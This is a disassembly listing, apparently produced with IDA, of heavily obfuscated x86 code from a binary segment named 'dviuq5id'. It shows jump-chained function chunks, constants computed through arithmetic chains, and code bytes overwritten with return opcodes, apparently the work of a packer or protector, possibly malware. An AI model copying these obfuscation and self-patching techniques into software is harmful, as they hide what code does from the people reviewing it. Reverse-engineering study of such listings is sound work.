		push	offset loc_44B203
; END OF FUNCTION CHUNK	FOR sub_4433AF
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_458E55:				; CODE XREF: sub_4492F0:loc_44A925j
		jmp	nullsub_348
; END OF FUNCTION CHUNK	FOR sub_4492F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A386

loc_458E5A:				; CODE XREF: sub_43A386+2A02j
		jz	loc_44E82C

loc_458E60:				; CODE XREF: dviuq5id:0044C9D9j
		jmp	nullsub_349
; END OF FUNCTION CHUNK	FOR sub_43A386
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454267

loc_458E65:				; CODE XREF: sub_454267-F6C5j
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_454267
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443977

loc_458E6A:				; CODE XREF: sub_443977+10j
		jmp	loc_4391F9
; END OF FUNCTION CHUNK	FOR sub_443977
; ---------------------------------------------------------------------------
		xchg	ecx, edi
		jmp	loc_44E82A

; =============== S U B	R O U T	I N E =======================================



sub_458E76	proc near		; CODE XREF: dviuq5id:0043C558j
					; dviuq5id:00442FE8p

; FUNCTION CHUNK AT 00450246 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	byte ptr [eax],	0C3h
		jmp	loc_450246
sub_458E76	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_458E82:				; CODE XREF: dviuq5id:0045957Aj
		call	sub_43A6B8
; START	OF FUNCTION CHUNK FOR sub_4512BC

loc_458E87:				; CODE XREF: sub_4512BC-1351j
		jmp	loc_43CD01
; END OF FUNCTION CHUNK	FOR sub_4512BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_458E8C:				; CODE XREF: sub_439C09+C9BAj
		jmp	loc_44139D
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444ADC

loc_458E91:				; CODE XREF: sub_444ADC+9j
		jmp	loc_451038
; END OF FUNCTION CHUNK	FOR sub_444ADC
; ---------------------------------------------------------------------------

loc_458E96:				; CODE XREF: dviuq5id:loc_444EC9j
		pop	esi
		xor	esi, 7BE816B6h
		sub	esi, 4A4F4C1Ch
		add	esi, 0F78E3F43h
		add	edx, esi
		pop	esi
		mov	[edx], eax
		pop	edx
		jmp	loc_44CB45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449222

loc_458EB4:				; CODE XREF: sub_449222j
		mov	eax, ds:dword_439C00
		or	eax, eax
		jnz	loc_44224E
		jmp	loc_443C2F
; END OF FUNCTION CHUNK	FOR sub_449222
; ---------------------------------------------------------------------------

loc_458EC7:				; CODE XREF: dviuq5id:0043BDA9j
		test	eax, 7515DAD0h
		jmp	loc_45073F
; ---------------------------------------------------------------------------

loc_458ED2:				; CODE XREF: dviuq5id:004554AFj
		cmp	esi, 5A344B1Ah
		jmp	loc_43D01E
; ---------------------------------------------------------------------------
		mov	esi, [ebp+0]
		jmp	sub_43BAB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44623D

loc_458EE5:				; CODE XREF: sub_44623D:loc_44F0F6j
		pop	ecx
		mov	eax, [esp+0]
		push	edx
		push	edi
		push	0E6EAF37Eh
		pop	edi
		and	edi, 0EE1AB3F3h
		jmp	loc_453F00
; END OF FUNCTION CHUNK	FOR sub_44623D
; ---------------------------------------------------------------------------
		mov	ds:off_41D07C, eax
		lea	eax, sub_441B17
		mov	byte ptr [eax],	0C3h
		jmp	sub_441B17

; =============== S U B	R O U T	I N E =======================================



sub_458F10	proc near		; CODE XREF: sub_41C28D+1B7p
					; sub_458F10+5j
					; DATA XREF: ...
		call	sub_458F2A
		jmp	ds:off_41D080
sub_458F10	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F77C

loc_458F1B:				; CODE XREF: sub_43F77C+B572j
		jmp	nullsub_350
; END OF FUNCTION CHUNK	FOR sub_43F77C
; ---------------------------------------------------------------------------

loc_458F20:				; CODE XREF: dviuq5id:0043EBA9j
		jmp	sub_453642
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44646F

loc_458F25:				; CODE XREF: sub_44646F-D1F8j
		jmp	loc_456768
; END OF FUNCTION CHUNK	FOR sub_44646F

; =============== S U B	R O U T	I N E =======================================



sub_458F2A	proc near		; CODE XREF: sub_43F519+16j
					; sub_43E9E7:loc_454BD4j ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043B697 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043B9D0 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043F05A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00442DC1 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044DF7C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0044EE25 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044F769 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00451A48 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00453F8A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004545C2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00456D22 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00458F8D SIZE 00000005 BYTES

		jz	loc_44EE25
		jmp	loc_4545C2
sub_458F2A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	356612BFh
		pop	eax
		sub	eax, 0A323A95Ch
		and	eax, 936844A9h
		xor	eax, 234D2660h
		add	eax, 76610EE2h
		jmp	loc_44EA99
; ---------------------------------------------------------------------------
		call	sub_441C54
		or	eax, eax
		jnz	loc_4500CA
		jmp	loc_45A5F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4597EF

loc_458F6A:				; CODE XREF: sub_4597EF+8EEj
		cmp	eax, ebp
		jmp	loc_450576
; END OF FUNCTION CHUNK	FOR sub_4597EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4399BB

loc_458F71:				; CODE XREF: sub_4399BB+Dj
		jz	loc_44D762
		jmp	loc_44DE9C
; END OF FUNCTION CHUNK	FOR sub_4399BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_458F7C:				; CODE XREF: sub_439C09:loc_4489C7j
					; dviuq5id:004489DCj
		xor	eax, 770CE41Eh
		push	offset sub_44DC3D
		jmp	loc_44973A
; END OF FUNCTION CHUNK	FOR sub_439C09

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_458F8C	proc near		; CODE XREF: sub_4588C8+16j
		retn
sub_458F8C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458F2A

loc_458F8D:				; CODE XREF: sub_458F2A-74D2j
		jmp	sub_44952D
; END OF FUNCTION CHUNK	FOR sub_458F2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BAB4

loc_458F92:				; CODE XREF: sub_43BAB4+Bj
		jmp	loc_443E02
; END OF FUNCTION CHUNK	FOR sub_43BAB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446682

loc_458F97:				; CODE XREF: sub_446682:loc_44FB8Cj
		jnp	loc_43D49C
		cdq
		adc	eax, esi
; END OF FUNCTION CHUNK	FOR sub_446682
; START	OF FUNCTION CHUNK FOR sub_44084F

loc_458FA0:				; CODE XREF: sub_44084F:loc_44CD69j
		cmp	ecx, ebx
		jmp	loc_455E57
; END OF FUNCTION CHUNK	FOR sub_44084F

; =============== S U B	R O U T	I N E =======================================



sub_458FA7	proc near		; DATA XREF: sub_43C4B5+1AD77o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0044EF70 SIZE 0000001A BYTES

		popf
		push	eax
		mov	edx, eax
		push	edi
		push	5F42001Fh
		pop	edi
		jmp	loc_44EF70
sub_458FA7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_458FB7:				; CODE XREF: sub_448FC7+E49j
		push	edx
		call	sub_45327C
		mov	eax, 649E33C4h
		call	sub_43C4B5
		push	ebx
		push	6729F6F6h
		pop	ebx
		jmp	loc_444585
; END OF FUNCTION CHUNK	FOR sub_448FC7
; ---------------------------------------------------------------------------

locret_458FD3:				; CODE XREF: dviuq5id:0044B412j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B99E

loc_458FD4:				; CODE XREF: sub_44B99E+C24Ej
		jmp	loc_44B2CB
; END OF FUNCTION CHUNK	FOR sub_44B99E
; ---------------------------------------------------------------------------

loc_458FD9:				; CODE XREF: dviuq5id:0043D798j
		call	sub_45000B
		jmp	loc_4551F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456A43

loc_458FE3:				; CODE XREF: sub_456A43+7j
		and	edx, eax
		setnz	byte ptr [ebp-5]
		call	sub_45000B
		jmp	loc_44BF92
; END OF FUNCTION CHUNK	FOR sub_456A43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C6B8

loc_458FF3:				; CODE XREF: sub_44C6B8:loc_43DEACj
		jge	loc_452CF2
		push	edi
		xchg	edx, [ebx]
		jmp	loc_44D7DC
; END OF FUNCTION CHUNK	FOR sub_44C6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E67F

loc_459001:				; CODE XREF: sub_44E67F:loc_4486CFj
		and	ecx, 0ABB15887h
		sub	ecx, 0FF9B827Ch
		or	ecx, 37F1C6A4h
		sub	ecx, 0F175606Bh
		add	ecx, 0C5033E6Dh
		xor	eax, ecx
		jmp	loc_445E54
; END OF FUNCTION CHUNK	FOR sub_44E67F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CBA2

loc_459026:				; CODE XREF: sub_44CBA2+169Fj
		jb	sub_43A449

loc_45902C:				; CODE XREF: sub_44CBA2:loc_43F5B2j
		mov	eax, [ebp-28h]
		mov	byte ptr [eax],	64h
		inc	dword ptr [ebp-28h]
		jmp	loc_43A5FC
; END OF FUNCTION CHUNK	FOR sub_44CBA2
; ---------------------------------------------------------------------------
		xchg	ecx, [edx]
		sub	esi, edx
		jmp	sub_459725
; ---------------------------------------------------------------------------

loc_459043:				; CODE XREF: dviuq5id:loc_4463B2j
		pop	ecx
		or	ecx, 0F3215D4h
		sub	ecx, 0B9CF95C2h
		add	ecx, 8ADFC82Fh
		xchg	ecx, [esp]
		jmp	loc_44E955
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C5CC

loc_45905E:				; CODE XREF: sub_43C5CC+19j
		mov	[ebp-0Ah], al

loc_459061:				; CODE XREF: sub_441D7C+Dj
		jb	loc_43A69F
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0
		jnz	loc_44F955
		jmp	loc_43A695
; END OF FUNCTION CHUNK	FOR sub_43C5CC
; ---------------------------------------------------------------------------

loc_459078:				; CODE XREF: dviuq5id:loc_44EC07j
		rol	edx, 8
		or	edx, 51A8B647h
		add	edx, 0CD3F5474h
		push	edx
		pushf
		push	0BD0D2556h
		jmp	loc_4418F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C50A

loc_459093:				; CODE XREF: sub_44C50A:loc_43CF5Ej
		mov	ecx, [ebp-18h]
		and	ecx, 7
		mov	al, 1
		push	offset sub_457B2A
		jmp	loc_44C29A
; END OF FUNCTION CHUNK	FOR sub_44C50A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4551F9

loc_4590A5:				; CODE XREF: sub_4551F9:loc_455F50j
		sbb	ebx, 0C7820FB6h
		cdq
		jmp	loc_444EF2
; END OF FUNCTION CHUNK	FOR sub_4551F9

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4590B1	proc near		; CODE XREF: sub_44A133:loc_458765j
		retn
sub_4590B1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440EC1

loc_4590B2:				; CODE XREF: sub_440EC1+12j
		jz	loc_446616
		jmp	loc_456AC5
; END OF FUNCTION CHUNK	FOR sub_440EC1
; ---------------------------------------------------------------------------
		push	edx
		push	15C366EFh
		pop	edx
		xor	edx, 0A6FBAB47h
		and	edx, 6EA3163Ch
		add	edx, 0DE21CD0Ch
		jmp	loc_44BEDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458330

loc_4590DB:				; CODE XREF: sub_458330-2A8j
		pop	eax
		or	eax, 0D18E8B53h
		add	eax, 67727D85h
		and	eax, 103A678Eh
		sub	eax, 3F3C4EE4h
		add	eax, 9047C8D5h
		add	eax, ebp
		jmp	loc_456650
; END OF FUNCTION CHUNK	FOR sub_458330
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445498

loc_459101:				; CODE XREF: sub_445498+C089j
		mov	ebp, eax
		xchg	ebp, [esp+8+var_8]
		push	ecx
		push	0F526696Eh
		jmp	loc_440F4B
; END OF FUNCTION CHUNK	FOR sub_445498
; ---------------------------------------------------------------------------

loc_459111:				; DATA XREF: sub_44FB5C-166E4o
		mov	eax, [esp]
		push	edx
		push	offset loc_43C229
		jmp	loc_456627
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_45911F:				; CODE XREF: sub_440898-6523j
		pop	edi
		and	edi, 555F6DA4h
		add	edi, 4A1526F8h
		xor	edi, 0E45F611Ch
		jmp	loc_4523E0
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
		add	edx, edi
		test	eax, ebp
		jmp	loc_44355D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_265. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445437

loc_459141:				; CODE XREF: sub_445437+6818j
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_445437
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442BFE

loc_459146:				; CODE XREF: sub_442BFE:loc_4441FEj
		jz	loc_43FBBE
		jmp	loc_439B1D
; END OF FUNCTION CHUNK	FOR sub_442BFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446CFB

loc_459151:				; CODE XREF: sub_446CFB+13526j
		or	eax, eax
		jnz	loc_44C549
		jmp	loc_450148
; END OF FUNCTION CHUNK	FOR sub_446CFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_45915E:				; CODE XREF: sub_440898:loc_454CEDj
		xchg	esi, [esp+1Ch+var_1C]
		jmp	loc_444475
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
		mov	ebx, ebp
		jmp	sub_456C37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453BE2

loc_45916D:				; CODE XREF: sub_453BE2:loc_43E120j
					; sub_453BE2-9B07j
		push	2EEF201h
		pop	eax
		sub	eax, 3AAD5F18h
		and	eax, 96AA1557h
		or	eax, 26C37131h
		cmp	eax, 98AD5140h
		jmp	loc_441F44
; END OF FUNCTION CHUNK	FOR sub_453BE2
; ---------------------------------------------------------------------------

loc_459190:				; CODE XREF: dviuq5id:0044BE4Ej
		pop	edi
		xor	eax, eax
		retn

; =============== S U B	R O U T	I N E =======================================



sub_459194	proc near		; CODE XREF: sub_43BE30+6232j
					; dviuq5id:0044BE41p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004450E9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B0EF SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044B9E9 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0044EDA2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00450241 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004507B2 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00451E51 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00456CB4 SIZE 00000005 BYTES

		jns	sub_4396BB
		push	edx
		jmp	loc_450241
sub_459194	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440F1B

loc_4591A0:				; CODE XREF: sub_440F1B+122C4j
		jnz	loc_444C5D
		jmp	loc_44F93E
; END OF FUNCTION CHUNK	FOR sub_440F1B
; ---------------------------------------------------------------------------

loc_4591AB:				; CODE XREF: dviuq5id:0043B06Aj
		ror	ebx, 0Eh
		adc	ebx, 97D95A8Bh
		rol	ebp, 0Fh
; START	OF FUNCTION CHUNK FOR sub_439013

loc_4591B7:				; CODE XREF: sub_439013+1DE1Aj
		add	ecx, 0DC439580h
		call	sub_43C033

loc_4591C2:				; CODE XREF: dviuq5id:0045975Cj
		jmp	loc_43B7E9
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_4591C7:				; CODE XREF: sub_4492F0+C10Bj
		jmp	nullsub_370
; END OF FUNCTION CHUNK	FOR sub_4492F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A30D

loc_4591CC:				; CODE XREF: sub_44A30D+6j
		jmp	nullsub_355
; END OF FUNCTION CHUNK	FOR sub_44A30D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455682

loc_4591D1:				; CODE XREF: sub_455682-D162j
		jmp	nullsub_356
; END OF FUNCTION CHUNK	FOR sub_455682
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_69. PRESS	KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_61. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A15A

loc_4591D8:				; CODE XREF: sub_44A15A+14j
		jmp	loc_43DA7C
; END OF FUNCTION CHUNK	FOR sub_44A15A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458BD3

loc_4591DD:				; CODE XREF: sub_458BD3-F52Fj
		jmp	sub_44FD8E
; END OF FUNCTION CHUNK	FOR sub_458BD3
; ---------------------------------------------------------------------------
		mov	eax, 3E69A3C2h
		call	sub_44A58C
		mov	ds:off_41D014, eax
		lea	eax, sub_457798
		mov	byte ptr [eax],	0C3h
		jmp	sub_457798
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448154

loc_459200:				; CODE XREF: sub_448154-AFB1j
		xor	ebx, edx
		jge	sub_452A73
		cmp	ecx, ebx
		jmp	loc_4559ED
; END OF FUNCTION CHUNK	FOR sub_448154
; ---------------------------------------------------------------------------

loc_45920F:				; DATA XREF: sub_457052+6o
		add	eax, 0D21B69C0h
		mov	eax, [eax]
		mov	al, [eax]
		jo	loc_43DDBA
		jmp	loc_458D87

; =============== S U B	R O U T	I N E =======================================



sub_459224	proc near		; CODE XREF: sub_445498-95A9p
					; dviuq5id:0044FAC1j

; FUNCTION CHUNK AT 00454A89 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004577A2 SIZE 00000016 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	16F6BCh
		pop	edx
		xor	edx, 0C1B2A47h
		jmp	loc_454A89
sub_459224	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_86. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_45923A:				; CODE XREF: sub_43FA59+15D48j
		jnz	loc_44E54B
		jmp	loc_444722
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------

loc_459245:				; CODE XREF: dviuq5id:0044F1A6j
		sbb	eax, edi
		jge	loc_453CEE

loc_45924D:				; CODE XREF: dviuq5id:loc_4431BAj
		call	sub_456F43
		push	8C3CD4E3h
		pop	edx
		jmp	loc_44A82A
; ---------------------------------------------------------------------------

loc_45925D:				; CODE XREF: dviuq5id:loc_44088Dj
					; dviuq5id:004458ABj
		mov	eax, [ebp-0Ch]
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp]
		call	sub_451D52
; START	OF FUNCTION CHUNK FOR sub_449B5B

loc_45926B:				; CODE XREF: sub_449B5B:loc_4392A2j
					; sub_43FA59+18BDj ...
		mov	eax, 120h
		jmp	loc_447D14
; END OF FUNCTION CHUNK	FOR sub_449B5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44297E

loc_459275:				; CODE XREF: sub_44297E+255Fj
					; dviuq5id:loc_445F55j
		jg	loc_44D3AE
		jo	loc_44D22C
		jmp	loc_44B2DF
; END OF FUNCTION CHUNK	FOR sub_44297E
; ---------------------------------------------------------------------------

loc_459286:				; CODE XREF: dviuq5id:00455183j
		rol	ebx, 1Fh

loc_459289:				; CODE XREF: dviuq5id:loc_43DC13j
		add	eax, 4A9D4328h
		call	sub_43C4B5
		mov	ds:off_41D204, eax
		lea	eax, sub_44B876
		mov	byte ptr [eax],	0C3h
		jmp	loc_44BED5

; =============== S U B	R O U T	I N E =======================================



sub_4592A8	proc near		; CODE XREF: sub_419430+4Ap
					; dviuq5id:00457289j
					; DATA XREF: ...

; FUNCTION CHUNK AT 004413A3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00455885 SIZE 00000006 BYTES

		push	eax
		push	1F377621h
		jmp	loc_4413A3
sub_4592A8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4592B3:				; CODE XREF: dviuq5id:loc_44DF14j
		pop	edx
		lea	eax, nullsub_495
		mov	byte ptr [eax],	0C3h
		jmp	loc_457D20

; =============== S U B	R O U T	I N E =======================================



sub_4592C2	proc near		; CODE XREF: sub_41A645+20p
					; sub_41C28D+293p ...
		call	sub_4592D7
		jmp	ds:off_41D0CC
sub_4592C2	endp

; ---------------------------------------------------------------------------

loc_4592CD:				; CODE XREF: dviuq5id:0044DD40j
		jmp	loc_44F46C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442437

loc_4592D2:				; CODE XREF: sub_442437+Dj
		jmp	loc_43F966
; END OF FUNCTION CHUNK	FOR sub_442437

; =============== S U B	R O U T	I N E =======================================



sub_4592D7	proc near		; CODE XREF: sub_43DB47+Cj
					; sub_45345A:loc_444FBDj ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044B5B0 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0044D53A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00456775 SIZE 00000008 BYTES

		jb	loc_44D53A
		pop	edx
		jmp	loc_456775
sub_4592D7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E2FA

loc_4592E3:				; CODE XREF: sub_44E2FA:loc_44E305j
		push	8C635158h
		pop	ebx
		xor	ebx, 1F21A972h

loc_4592EF:				; CODE XREF: sub_43FA59-62EDj
		push	offset sub_442245
		jmp	loc_457F74
; END OF FUNCTION CHUNK	FOR sub_44E2FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448424

loc_4592F9:				; CODE XREF: sub_448424+109A0j
		xor	esi, 30C8E87Fh
		add	esi, 88F20443h
		test	esi, 200h
		jmp	loc_4451A3
; END OF FUNCTION CHUNK	FOR sub_448424
; ---------------------------------------------------------------------------

loc_459310:				; CODE XREF: dviuq5id:0044DD2Ej
		jns	loc_43BC05
		jnz	loc_453C23
		adc	edi, 4F54030Bh
		jo	loc_44A302
		and	ecx, esi
		jmp	loc_445606
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44846C

loc_45932F:				; CODE XREF: sub_44846C-193Ej
		add	esi, 8AF94DADh
		mov	[esi], eax
		pop	esi
; END OF FUNCTION CHUNK	FOR sub_44846C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_157. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4422EC

loc_459339:				; CODE XREF: sub_4422EC+17E29j
		rol	eax, 1Bh
		push	eax
		jmp	loc_4599D9
; END OF FUNCTION CHUNK	FOR sub_4422EC
; ---------------------------------------------------------------------------
		not	ebx
		jmp	sub_443901
; ---------------------------------------------------------------------------

loc_459349:				; CODE XREF: dviuq5id:00458C41j
		sub	eax, 40C10B2h
		rol	eax, 0Fh
		add	eax, 4180836h
		add	eax, ebp
		add	eax, 144D99C1h
		call	sub_4499A3

loc_459365:				; CODE XREF: dviuq5id:0045940Cj
		jmp	loc_44C6FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F83A

loc_45936A:				; CODE XREF: sub_43F83A+4F95j
		jmp	sub_43F83A
; END OF FUNCTION CHUNK	FOR sub_43F83A

; =============== S U B	R O U T	I N E =======================================



sub_45936F	proc near		; DATA XREF: dviuq5id:0045A281o
		mov	ds:dword_43F094, eax
		retn
sub_45936F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448800

loc_459376:				; CODE XREF: sub_448800+Dj
		jmp	loc_43D79D
; END OF FUNCTION CHUNK	FOR sub_448800
; ---------------------------------------------------------------------------

loc_45937B:				; CODE XREF: dviuq5id:0043A348j
		jmp	loc_4569E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450217

loc_459380:				; CODE XREF: sub_450E57:loc_457131j
					; sub_450217+9FBDj
		rol	eax, 6
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_450217

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_459385	proc near		; CODE XREF: sub_440898:loc_443037p
					; sub_44446E:loc_444475j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00439DBE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A6CF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043A75E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043A92F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043AB7E SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043AD1F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043C021 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043CBE6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043D214 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043DC23 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EF9B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F36A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044169F SIZE 00000032 BYTES
; FUNCTION CHUNK AT 00442A93 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442BEF SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00442E71 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444510 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444650 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00444A48 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445385 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004459A2 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00446BCB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044839F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448CBD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448E5F SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00449E71 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0044A89E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044BC6E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CBC6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044CD61 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044D2FF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044EADB SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044EBF9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044F35D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004512A8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00451663 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004529CF SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00453892 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00454D69 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00455366 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004555D4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0045679E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457C41 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0045809D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004582E1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004588C0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004589B0 SIZE 0000000D BYTES

		push	ebp
		mov	ebp, esp
		push	edx
		jmp	loc_457C41
sub_459385	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A813

loc_45938E:				; CODE XREF: sub_43A813:loc_4512D1j
		mov	[ebp-4], eax
		push	2B04FD1Fh
		pop	eax
		sub	eax, 0AE47CBA8h
		or	eax, 4942DDE3h
		sub	eax, 5AED88FCh
		jmp	loc_443B49
; END OF FUNCTION CHUNK	FOR sub_43A813
